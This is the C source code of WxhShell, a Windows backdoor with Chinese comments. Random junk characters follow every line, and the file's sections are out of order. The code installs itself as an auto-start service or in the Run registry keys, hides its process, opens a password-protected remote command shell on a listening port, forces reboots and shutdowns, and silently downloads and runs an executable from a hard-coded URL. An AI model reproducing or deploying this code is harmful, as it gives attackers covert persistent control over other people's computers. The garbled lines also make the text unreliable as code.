  case 'd': { q0(-"}2l  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 60r0O5=|Fl  
    if(Boot(SHUTDOWN)) G4wJv^6i9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Wx8n)  
    else { ]Ryg}DOQ  
    closesocket(wsh); n1rJ^q-G  
    ExitThread(0); U[6 ~ad a  
    } S y^et  
    break; Xuj=V?5  
    } Za7!n{? 0  
  // 获取shell f9^MLb6)  
  case 's': { z;\,Dt  
    CmdShell(wsh); Aq_?8Cd  
    closesocket(wsh); @m9dB P  
    ExitThread(0); q m"AatA  
    break; IY}{1[<N  
  } _vUId?9@+e  
  // 退出 #-kx$(''V  
  case 'x': { @[~j|YH}  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); >[4CQK`U  
    CloseIt(wsh); 9Rb tFwbn  
    break; 7e6; |?  
    } Qk].^'\  
  // 离开 3#Xv))w1  
  case 'q': { a6hDw'8!  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); jk1mP6'P|  
    closesocket(wsh); _A6e|(.ll  
    WSACleanup(); q6eD{/4a1  
    exit(1); [y(<1]i-a  
    break; c? >;UzM  
        } q=;U(,Y  
  } TCK<IZKLqK  
  } z W*Z  
B X Et]+Q  
  // 提示信息 ij02J`w:Ra  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 'v_k #%  
} XF`?5G~~#  
  } j~#v*qmDU  
j "e]Ui  
  return; U^&y*gX1  
} d+%Rg\ v  
7a4h7/  
// shell模块句柄 T:S[[#f{5  
int CmdShell(SOCKET sock) )J1xO^tE  
{ &cT@MV5  
STARTUPINFO si; %!OA/7XbG  
ZeroMemory(&si,sizeof(si)); +]0/:\(B  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; i=\`f& B  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; [cw>; \J  
PROCESS_INFORMATION ProcessInfo; M`,`2I A  
char cmdline[]="cmd"; }/aqh;W  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Kk6i  
  return 0; uex([;y  
} EO G&Xa  
T49^  
// 自身启动模式 5`{u! QE  
int StartFromService(void) C |P(,Xp  
{ \'>d.'d  
typedef struct $zJ!L  
{ !Er)|YP  
  DWORD ExitStatus; 6yedl0@wa!  
  DWORD PebBaseAddress; h&<>nK   
  DWORD AffinityMask; SH;:bLk_  
  DWORD BasePriority; U_@Dn[/:  
  ULONG UniqueProcessId; 7o$S6Y;c4  
  ULONG InheritedFromUniqueProcessId; rWN%Tai-  
}   PROCESS_BASIC_INFORMATION; }PxP J$o  
HD;l1W)  
PROCNTQSIP NtQueryInformationProcess; ""x>-j4  
Frum@n  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; @P6*4W  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; RpU.v `  
]I(<hDuRp  
  HANDLE             hProcess; aU%QJ#j  
  PROCESS_BASIC_INFORMATION pbi; ,`ju(ac!  
{@ Z%6%'9  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); *&$2us0%%  
  if(NULL == hInst ) return 0; b2UqN]{  
JjnWv7W3$  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); k:*vD"  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ]w~ECP(ap  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); [}Y_O*C !  
1NQU96  
  if (!NtQueryInformationProcess) return 0; eRB K= X  
*m:'~\[u  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); `W'S'?$  
  if(!hProcess) return 0; m4RiF  
`f\+aD'u  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; :;N2hnHoG  
_E4_k%8y  
  CloseHandle(hProcess);  ].3@ Dk  
@%rj1Gn  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); t^8|t(Lq  
if(hProcess==NULL) return 0; </23*n]  
yIqRSqM  
HMODULE hMod; yI.hN  
char procName[255]; Nuc2CB)J  
unsigned long cbNeeded; UOkVU*{  
+p0Y*.  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); W>J1JaO  
osI0m7ws:  
  CloseHandle(hProcess); p9j2jb,qy  
lfyij[6q+  
if(strstr(procName,"services")) return 1; // 以服务启动 x(y=.4Yf+  
TZw['o  
  return 0; // 注册表启动 lCJ/@)  
} A4f;ftB  
gv/yfiA?  
// 主模块 RKwuvVI  
int StartWxhshell(LPSTR lpCmdLine) e/F+Tf  
{ zd?uMq;w  
  SOCKET wsl; )KcY<K  
BOOL val=TRUE; la 89>pF  
  int port=0;  h3z9}'  
  struct sockaddr_in door; 9[Xe|5?c  
oZ!+._9  
  if(wscfg.ws_autoins) Install(); eNFZD1mS  
qHC/)M#L  
port=atoi(lpCmdLine); !&5B&w{u~!  
Jb]22]  
if(port<=0) port=wscfg.ws_port; *KDwl<^A  
;Wig${  
  WSADATA data; ~uh,R-Q$  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; >^Y)@ J  
h#]LXs  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   \\$wg   
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); K"g`,G6S  
  door.sin_family = AF_INET; vKTCS  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); d?>pcT)G_  
  door.sin_port = htons(port); !sav~dB)  
?D=t:=  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { rl XMrn  
closesocket(wsl); xqzB=0  
return 1; MFs W  
} % e1`wMa  
SOQR(UT  
  if(listen(wsl,2) == INVALID_SOCKET) { + wF5(  
closesocket(wsl); Rmh u"N/q  
return 1; <k 7q 9"\4  
} LGPg\g`  
  Wxhshell(wsl); 1 eMaKT_=  
  WSACleanup(); !k=~a]  
-ZBSkyMGy  
return 0; WZ^u%Z  
+3k#M[Bn}  
} wPH1g*U  
5c-'m? k  
// 以NT服务方式启动 *" ,"u;&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) S")*~)N@  
{ YveNsn  
DWORD   status = 0; 'cvc\=p  
  DWORD   specificError = 0xfffffff; 6|ENDd[  
l&6+ykQ  
  serviceStatus.dwServiceType     = SERVICE_WIN32; tk'3Q1L  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; U$T (R2@  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; BH^8!7dkT  
  serviceStatus.dwWin32ExitCode     = 0; e7JZk6GP#9  
  serviceStatus.dwServiceSpecificExitCode = 0; s78V\Vw3  
  serviceStatus.dwCheckPoint       = 0; y<n<uZ;  
  serviceStatus.dwWaitHint       = 0; ej{7)#  
Nj;G%KAP  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 7"$9js2  
  if (hServiceStatusHandle==0) return; )*_n/^m  
h"ko4b3^'@  
status = GetLastError(); # {|F2AM  
  if (status!=NO_ERROR) c4xXsUBQk  
{ A.(xa+z?  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; r_e]sOCb  
    serviceStatus.dwCheckPoint       = 0; F=8gtk|U  
    serviceStatus.dwWaitHint       = 0; 5'"l0EuD  
    serviceStatus.dwWin32ExitCode     = status; L_ 2R3 w  
    serviceStatus.dwServiceSpecificExitCode = specificError; ~VaO,8&+L  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); J7s\  
    return; c9axzg UA  
  } n]J;BW& Av  
7wwlZ;w  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; !-Md+I_  
  serviceStatus.dwCheckPoint       = 0; n<66 7 <  
  serviceStatus.dwWaitHint       = 0; cO/.(KBF  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); R*z:+p}oHy  
} 9$e6?<`(Y  
il >XV>  
// 处理NT服务事件,比如:启动、停止 rklK=W z  
VOID WINAPI NTServiceHandler(DWORD fdwControl) b2HHoIT  
{ OQa;EBO  
switch(fdwControl) -H AUKY@;5  
{ HLp'^  
case SERVICE_CONTROL_STOP: S`Wau/7t  
  serviceStatus.dwWin32ExitCode = 0; 50^T \u  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; -MT.qhx  
  serviceStatus.dwCheckPoint   = 0; 3hbUus  
  serviceStatus.dwWaitHint     = 0; lv0}d  
  { rdQ'#}I x  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ] ! :0^|  
  } e6igx  
  return; "ba>.h,#'  
case SERVICE_CONTROL_PAUSE: Xw{Qktn  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; %[7<GcWl  
  break; fDIKR[B  
case SERVICE_CONTROL_CONTINUE:  h@"u==0  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; zwpgf  
  break; |!?`KO{  
case SERVICE_CONTROL_INTERROGATE: |4A938'4j  
  break; ck\gazo~q  
}; Yeb-u+23  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0@*EwI  
} ;c~%:|  
fN{JLp  
// 标准应用程序主函数 l/o 4bkV  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) gCc::[}\Y  
{ TNK~ETE4  
o? {rPFR  
// 获取操作系统版本 pxi/ ]6pw  
OsIsNt=GetOsVer(); E HY}gG)  
GetModuleFileName(NULL,ExeFile,MAX_PATH); @8s:,Y_  
QR]61v:`  
  // 从命令行安装 @F%_{6h  
  if(strpbrk(lpCmdLine,"iI")) Install(); !BikqTM  
b<?A  
  // 下载执行文件 ? {vY3~  
if(wscfg.ws_downexe) { VN!+r7w'  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) _4h[q4Z  
  WinExec(wscfg.ws_filenam,SW_HIDE); >zY~")|R(  
} |FrZ,(\  
E A}Vb(2  
if(!OsIsNt) { b\H !\A  
// 如果时win9x,隐藏进程并且设置为注册表启动 ThmN^N  
HideProc(); +p#Q|o'  
StartWxhshell(lpCmdLine); l4`HuNR1  
} FW7@7cVoF  
else lL{1wCsl  
  if(StartFromService()) O9(6?n  
  // 以服务方式启动 !K319 eE  
  StartServiceCtrlDispatcher(DispatchTable); &fu J%  
else Bfz]PN78.G  
  // 普通方式启动 N J_#;t#j  
  StartWxhshell(lpCmdLine); tyyfMA?'L;  
ww(.   
return 0; <>  |/U`  
} {u,yX@F4l  
Zn9ecN  
{&Es3+{A  
o\7q!  
=========================================== nt*nTtcE  
dl&402  
y%^TZ[S  
:UdH}u!Ek  
jVhfpS[  
=ijVT_|u0  
" )RE~=*?d  
o(_~ st<  
#include <stdio.h> zP$Ef7bB  
#include <string.h> ,Xt!dT-  
#include <windows.h> zBd)E21H  
#include <winsock2.h> _onEXrM  
#include <winsvc.h> o#ajBOJ  
#include <urlmon.h> `tb@x ^  
KJ&~z? X  
#pragma comment (lib, "Ws2_32.lib") rAZsVnk?  
#pragma comment (lib, "urlmon.lib") cw)'vAE  
ubvXpK:.  
#define MAX_USER   100 // 最大客户端连接数 C-6m[W8S  
#define BUF_SOCK   200 // sock buffer 4RXF.kJ3=  
#define KEY_BUFF   255 // 输入 buffer 5? rR'0  
tQ > IJ  
#define REBOOT     0   // 重启 +f- E8q  
#define SHUTDOWN   1   // 关机 Lj(y>{y  
-<GSHckD  
#define DEF_PORT   5000 // 监听端口 6*92I  
Sd0y=!Pj=  
#define REG_LEN     16   // 注册表键长度 hd E?%A  
#define SVC_LEN     80   // NT服务名长度 gQ@fe3[  
[hT|]|fJS;  
// 从dll定义API o/Cu^[an  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); -WX{ y Ci  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ?6[X=GeUs  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); L% cr `<~  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); nB+ e2e&  
OG&X7>'3I{  
// wxhshell配置信息 .oR_r1\y  
struct WSCFG { `LID*uD;_  
  int ws_port;         // 监听端口 R?K[O   
  char ws_passstr[REG_LEN]; // 口令 =*Ad  
  int ws_autoins;       // 安装标记, 1=yes 0=no l~v BA$,  
  char ws_regname[REG_LEN]; // 注册表键名 D>~S-]  
  char ws_svcname[REG_LEN]; // 服务名 4H\+vJPM  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 9uL="z$\  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 yF#:*Vz>  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ==z,vxr  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ;:)?@IuSy  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" &InMI#0mV  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 9 yE   
gU^2;C  
}; u(`,7 o "  
O)4P)KAO<  
// default Wxhshell configuration !ufSO9eDx"  
struct WSCFG wscfg={DEF_PORT, 7Vd"AVn}g  
    "xuhuanlingzhe", :)9 ^T<  
    1, 4Nx]*\\  
    "Wxhshell", [x.Dw U%S  
    "Wxhshell", &oyj8  
            "WxhShell Service", sb7~sa&-  
    "Wrsky Windows CmdShell Service", a.5^zq7#!  
    "Please Input Your Password: ", ZTwCFn  
  1, NpIx\\d  
  "http://www.wrsky.com/wxhshell.exe", * ydU3LG7  
  "Wxhshell.exe" Vu`O%[Q/  
    }; BVt)~HZ  
uWSfr(loX  
// 消息定义模块 /`j~r;S  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; WF.y"{6>  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ct3^V M&/  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; =h{j F7  
char *msg_ws_ext="\n\rExit."; X!w&ib-  
char *msg_ws_end="\n\rQuit."; wv eej@zs  
char *msg_ws_boot="\n\rReboot..."; 32N *E,  
char *msg_ws_poff="\n\rShutdown..."; J:q:g*Wi  
char *msg_ws_down="\n\rSave to "; mP?~#RZ  
o|v_+<zD!  
char *msg_ws_err="\n\rErr!"; 8@f=GJf  
char *msg_ws_ok="\n\rOK!"; X~Yj#@  
pxs#OP  
char ExeFile[MAX_PATH]; @]EJbiGv  
int nUser = 0; 6,*o;<k[  
HANDLE handles[MAX_USER]; iB:](Md'r  
int OsIsNt; F5#P{ zk|  
9Fkzt=(E~  
SERVICE_STATUS       serviceStatus; :&/b}b!)AX  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; * @QC:1k  
/4R|QD  
// 函数声明 ?5>Ep:{+/  
int Install(void); 'z=QV{ni  
int Uninstall(void); Y_}DF.>I P  
int DownloadFile(char *sURL, SOCKET wsh); 9Xu O\+z  
int Boot(int flag); *{y/wgX  
void HideProc(void); >J \}&!8,  
int GetOsVer(void); `XJU$c  
int Wxhshell(SOCKET wsl); r3hUa4^97  
void TalkWithClient(void *cs); -]?F  
int CmdShell(SOCKET sock); c-2##Pf_8O  
int StartFromService(void); K`25G_Y3@  
int StartWxhshell(LPSTR lpCmdLine); X R =^zp?  
yE\dv)(<  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); >c~ Fg s  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); lAM"l)Ij  
Of*z9 YI  
// 数据结构和表定义 ^@&RJa-kb  
SERVICE_TABLE_ENTRY DispatchTable[] = BpGK`0H  
{ UqP %S$9  
{wscfg.ws_svcname, NTServiceMain}, % e@Jc 3  
{NULL, NULL} !/6`< eQ `  
}; ;LBq!  
tyH*epa nw  
// 自我安装 {=Y.Z1E:  
int Install(void) E_aDkNT  
{ 22|a~"Z  
  char svExeFile[MAX_PATH]; .!\NM&E  
  HKEY key; L b'HM-d  
  strcpy(svExeFile,ExeFile); W* XG9  
]Y%?kQ^  
// 如果是win9x系统,修改注册表设为自启动 6n 2LG  
if(!OsIsNt) { !i|]OnJY  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ZS-O,[  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5F8sigr/h  
  RegCloseKey(key); U(.3[x  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0;b%@_E  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); J(\]39y  
  RegCloseKey(key); m|RA@sY%`  
  return 0; p.gaw16}>  
    } gX}(6RP_!  
  } -L&FguoVB  
} U-P\F-  
else { gUo L8~  
j&G*$/lTO6  
// 如果是NT以上系统,安装为系统服务 FE)L?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); (5SN=6O  
if (schSCManager!=0) G|Du/XYh  
{ *o/ Q#  
  SC_HANDLE schService = CreateService 0<{+M`G/  
  ( ]yxRaW9f  
  schSCManager, a-t}L{~  
  wscfg.ws_svcname, :\+;5Se+l  
  wscfg.ws_svcdisp, L y!!+UM\  
  SERVICE_ALL_ACCESS, 8H>: C (h  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , _pX y}D  
  SERVICE_AUTO_START, Z|FWQ8gZ4m  
  SERVICE_ERROR_NORMAL, 8TK&i,  
  svExeFile, u |h T1l  
  NULL, ^_5Nh^  
  NULL, qc*z`Wz:  
  NULL, SWX;sM  
  NULL, 9` /\|t|V  
  NULL ^<0azza/(  
  ); Lh%>> Ht{  
  if (schService!=0) }*2q7K2bj  
  { piRP2Lbm*  
  CloseServiceHandle(schService); p&nIUx"  
  CloseServiceHandle(schSCManager); g,5r)FU`  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");  1k5o?'3&  
  strcat(svExeFile,wscfg.ws_svcname); YGBVGpE9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 3w=OvafT:  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); k+au42:r  
  RegCloseKey(key); t?1+Yw./em  
  return 0; 7 I/  
    } / M(A kNy  
  } !H`! KBW  
  CloseServiceHandle(schSCManager); UIUCj8QJg  
} rUX1Iu7  
} D Hkmn  
: -@o3Syg  
return 1; z@lUaMm:F  
} !BN7 B  
fIo7R-XP  
// 自我卸载 %)7HBj(*J  
int Uninstall(void) 'J&&F2O%  
{ .=WsB@+   
  HKEY key; ,[To)x5o  
a *n^(  
if(!OsIsNt) { N7=L^]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { By|y:  
  RegDeleteValue(key,wscfg.ws_regname); c=U1/=R5  
  RegCloseKey(key); C F2*W).+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ncEOz1u  
  RegDeleteValue(key,wscfg.ws_regname); {L[n\h.4.  
  RegCloseKey(key); J?\z{ ;qa  
  return 0; x[Xj[O  
  } b(lC7Xm  
} |OXufV?I  
} ?fB}9(6  
else { S7cxEOfAu  
P +U=/$o  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); mK3U*)A   
if (schSCManager!=0) *(PQaXx4  
{ CU3[{a  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 5*=a*nD11  
  if (schService!=0) rrGsam\.  
  { .JNU3%s  
  if(DeleteService(schService)!=0) { fmDU  
  CloseServiceHandle(schService); fqaysy  
  CloseServiceHandle(schSCManager); 5>J{JW|  
  return 0; A^PCI*SN[  
  } CD\k.  
  CloseServiceHandle(schService); ]XX8l:+  
  } BJgg-z{Y  
  CloseServiceHandle(schSCManager); IS; F9{  
} [KIK}:  
} -G<$wh9~3  
Sb=cWn P  
return 1; WN?1J4H  
} .6Swc?  
&8R%W"<K  
// 从指定url下载文件 g{&a|NU^  
int DownloadFile(char *sURL, SOCKET wsh) H\tz"<*``  
{ B_w;2ZuA  
  HRESULT hr; m^dKww  
char seps[]= "/"; )NeI]p  
char *token; ;eznONNF  
char *file; Dp 0   
char myURL[MAX_PATH]; _w+ix9Fr?  
char myFILE[MAX_PATH]; 2| u'J  
9/OB!<*V|  
strcpy(myURL,sURL); krkRP%jy  
  token=strtok(myURL,seps); c?i=6C dD'  
  while(token!=NULL) v~>^c1:  
  { =F2e*?a3  
    file=token; FL 5u68  
  token=strtok(NULL,seps); -Dw qoWZ  
  } e[fzy0  
sidSY8j  
GetCurrentDirectory(MAX_PATH,myFILE); ar.w'z  
strcat(myFILE, "\\"); 7dl]f#uZU  
strcat(myFILE, file); JV|GE n\@N  
  send(wsh,myFILE,strlen(myFILE),0); C<CE!|sfr  
send(wsh,"...",3,0); " &B/v"nj  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ,fQc0gM=[  
  if(hr==S_OK) lc/q0  
return 0; {6YLiQ*_  
else Yr@)W~  
return 1; ?pdvFM  
7bioLE  
} Ug=8:a(U.  
t?p[w&@M2  
// 系统电源模块 eiB5 8b3  
int Boot(int flag) mA:NAV $!s  
{ `X8AM=  
  HANDLE hToken; ^\kv> WBE  
  TOKEN_PRIVILEGES tkp; {l= !  
WAlsh  
  if(OsIsNt) { M$L1!o1Xf  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); %of#VSk  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); -R 4 t  
    tkp.PrivilegeCount = 1; :_YpS w<Q  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; *h Ph01  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); &) 7umdSgi  
if(flag==REBOOT) { ye1kI~LO(  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) L 0k K'n?  
  return 0; !n4p*<Y6  
} kQXtO)  
else { gio'_X  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ^YzFEu$  
  return 0; 6dO )]  
} cCN[c)[c|  
  } L_uliBn  
  else { O#Ab1FQn  
if(flag==REBOOT) { \?)@ #Qs  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 6P;JF%{J  
  return 0; N<ww&GXBX  
} \k;)m-0bj{  
else { VJ P]Jy_  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) jJ-j   
  return 0; b@@`2O3"  
} 6R% I)  
} (NUwkAO M}  
'M2Jw8i  
return 1; UX=JWb_uGm  
} 'S<ebwRd=  
('!90  
// win9x进程隐藏模块 &G?b|Tb2  
void HideProc(void) ?1 $.^  
{ @qH{;  
H"f%\'  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 0hK)/!Y  
  if ( hKernel != NULL ) 5% C-eB  
  { >(EMZ5  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); :M(%sv</  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); O [GG<Um  
    FreeLibrary(hKernel); <\@JbL*  
  } I0oM\~#  
Ro`Hm8o/  
return; qCOe,$\1/  
} G@b|{!  
bWAhK@epI  
// 获取操作系统版本 _O ~DJ"  
int GetOsVer(void) 'VCF{0{H~  
{ W@jBX{k  
  OSVERSIONINFO winfo; 5'gV_U  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 4' bup h1(  
  GetVersionEx(&winfo); y)?Sn  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) D OiL3i"H  
  return 1; "Q;n-fqf  
  else I$v* SeVHE  
  return 0; [#V?]P\uV  
} u$d T^c  
"#^11o8  
// 客户端句柄模块 +/*,%TdQ4  
int Wxhshell(SOCKET wsl) %gDMz7$~  
{ EXUjdJs"  
  SOCKET wsh; s<LF=qGu  
  struct sockaddr_in client; 0m_c43+^  
  DWORD myID; D_@WB.e L  
_c?&G`  
  while(nUser<MAX_USER) sF}T9 Ue  
{ sEq_K#n{  
  int nSize=sizeof(client); @D&VOJV  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); yhg^1l|t,  
  if(wsh==INVALID_SOCKET) return 1; n#,|C`2r  
Oe=7z'o  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); GZQy~Uk~  
if(handles[nUser]==0) F ?xbVN  
  closesocket(wsh); _v:t$k#sN  
else Q1?  !,a  
  nUser++; .~qu,q7k~  
  } `Xvrf  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); vK z/-9im  
0\84~t'[  
  return 0; {b~l [  
} E c[-@5x  
JSCe86a7<E  
// 关闭 socket :786Z,')  
void CloseIt(SOCKET wsh) ?bu-6pkx]  
{ ={y Mk  
closesocket(wsh); 'H- : >'k  
nUser--; Q[J%  
ExitThread(0); M q;m+{B  
} H@o 3u>}  
Ha{#  
// 客户端请求句柄 ^%tmHDNL.  
void TalkWithClient(void *cs) G$&SlJZEk  
{ +x$GwX  
~p^&` FA  
  SOCKET wsh=(SOCKET)cs; NrPs :`  
  char pwd[SVC_LEN]; A46z2  
  char cmd[KEY_BUFF]; [`^5Zb  
char chr[1]; '=}F}[d"kk  
int i,j; J P'|v"  
&y"e|aE  
  while (nUser < MAX_USER) { Y}BT| "  
JJ_77i  
if(wscfg.ws_passstr) { ,;9byb  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); z/yNFY]i  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %7WGodlXW  
  //ZeroMemory(pwd,KEY_BUFF); *^+8_%;1  
      i=0; qELy'\  
  while(i<SVC_LEN) { k_$:?$  
^F/gJ3_;  
  // 设置超时 4sOo>.<x  
  fd_set FdRead; <]#'6'  
  struct timeval TimeOut; 7jP C{W  
  FD_ZERO(&FdRead);  >sk vg  
  FD_SET(wsh,&FdRead); g9~>mJR  
  TimeOut.tv_sec=8; iX,| ;J|]  
  TimeOut.tv_usec=0; v.Wkz9 w}  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); seO7/h_a  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); KLi&T mIB  
YJi C}.4Q  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]/>(C76  
  pwd=chr[0]; i Qs7L y"  
  if(chr[0]==0xd || chr[0]==0xa) { Kv3cKNvu~  
  pwd=0; @X\-c2=  
  break; SJ4[n.tPI  
  } Q@zD'G >  
  i++; ha_&U@w  
    } #_)<~  
QEo i9@3  
  // 如果是非法用户,关闭 socket Jb+cC)(  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); TV#X@jQ  
} rbfP6t:c3  
"i3wc&9!?W  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ^]_[dqd  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); z&x ^ Dl  
6 2{(i'K  
while(1) { \D Oqx  
=y)e&bj  
  ZeroMemory(cmd,KEY_BUFF); ? I7}4i7  
.URCuB\{  
      // 自动支持客户端 telnet标准   -'ff0l  
  j=0; G 92\` Q  
  while(j<KEY_BUFF) { Pyfj[m4+}  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Se*o{V3s$  
  cmd[j]=chr[0]; N,N9K  
  if(chr[0]==0xa || chr[0]==0xd) { BWRM gN'.  
  cmd[j]=0; 4H@:|  
  break; #w_cos[I  
  } 7mG/f  
  j++; 36ygI0V_  
    } Q7uhz5oZ  
;A^Ii>`  
  // 下载文件 90ZMO7_  
  if(strstr(cmd,"http://")) { P_Rh& gkuK  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); O2z{>\  
  if(DownloadFile(cmd,wsh)) z^;0{q,  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); }.bhsy  
  else h0i/ v  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @ Gxnrh6  
  } pGS!Nn;K2  
  else { xw[KP [(  
r57CyO  
    switch(cmd[0]) { k'H+l]=  
  /K!&4mK  
  // 帮助 UEkn@^&bg  
  case '?': { K ?R* )_  
